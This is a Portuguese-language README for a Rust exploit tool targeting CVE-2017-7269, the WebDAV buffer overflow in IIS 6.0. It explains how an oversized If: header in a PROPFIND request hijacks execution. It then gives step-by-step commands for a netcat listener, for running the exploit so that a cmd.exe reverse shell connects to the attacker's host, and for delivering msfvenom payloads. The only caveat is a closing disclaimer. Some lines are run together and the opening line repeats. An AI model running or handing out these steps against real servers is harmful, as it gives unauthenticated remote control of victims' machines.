
Uma implementação em Rust do POC para CVE-2017-7269, visando o serviço WebDAV no Microsoft Internet Information Services (IIS) 6.0.
Uma implementação em Rust do POC para CVE-2017-7269, visando o serviço WebDAV no Microsoft Internet Information Services (IIS) 6.0.
CVE-2017-7269 é uma vulnerabilidade crítica de estouro de buffer baseado em pilha encontrada no serviço WebDAV do Microsoft IIS 6.0, que foi fornecido com o Windows Server 2003 R2. Uma exploração bem-sucedida permite que um atacante não autenticado execute código remotamente no servidor alvo.
httpext.dll (Extensão WebDAV do IIS)ScStoragePathFromUrlPROPFINDIf: excessivamente longo contendo múltiplas URLs.A vulnerabilidade é um clássico estouro de buffer de pilha. Ela é desencadeada quando a função ScStoragePathFromUrl processa uma requisição PROPFIND contendo um cabeçalho If: malicioso.
Este exploit cria um cabeçalho com uma longa sequência de bytes, que estoura o buffer alocado na pilha. Esse estouro sobrescreve dados críticos da pilha, incluindo o endereço de retorno salvo (EIP). O exploit sequestra o fluxo de execução do programa apontando esse endereço de retorno para um pequeno payload inicial de shellcode também localizado dentro do cabeçalho malicioso. O trabalho desse shellcode de primeiro estágio é encontrar e executar o payload principal, um shell reverso, que é enviado no corpo da mesma requisição HTTP. Este POC demonstra com sucesso a execução remota de código ao conectar um shell cmd.exe de volta a um listener controlado pelo atacante.
Prepare um listener (ajuste a porta para corresponder a --lport):
nc -lvnp <attacker-port>
Execute o exploit com shellcode embutido:
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
A ferramenta corrige o shellcode WSA em tempo real usando LHOST/LPORT e o entrega no corpo HTTP. Quando o alvo está vulnerável, seu listener receberá um shell reverso do cmd.exe.
--payload)Crie um payload bruto
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
Entregue o payload (não é necessário --lhost/--lport porque o shellcode já codifica essa informação):
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
Lide com o callback no mesmo listener de antes. Como o binário simplesmente transmite os bytes fornecidos, o comportamento exato depende do payload que você gerou.
Esta ferramenta é apenas para fins educacionais e de teste de penetração autorizado. Use com responsabilidade e apenas em sistemas que você possui ou tem permissão explícita.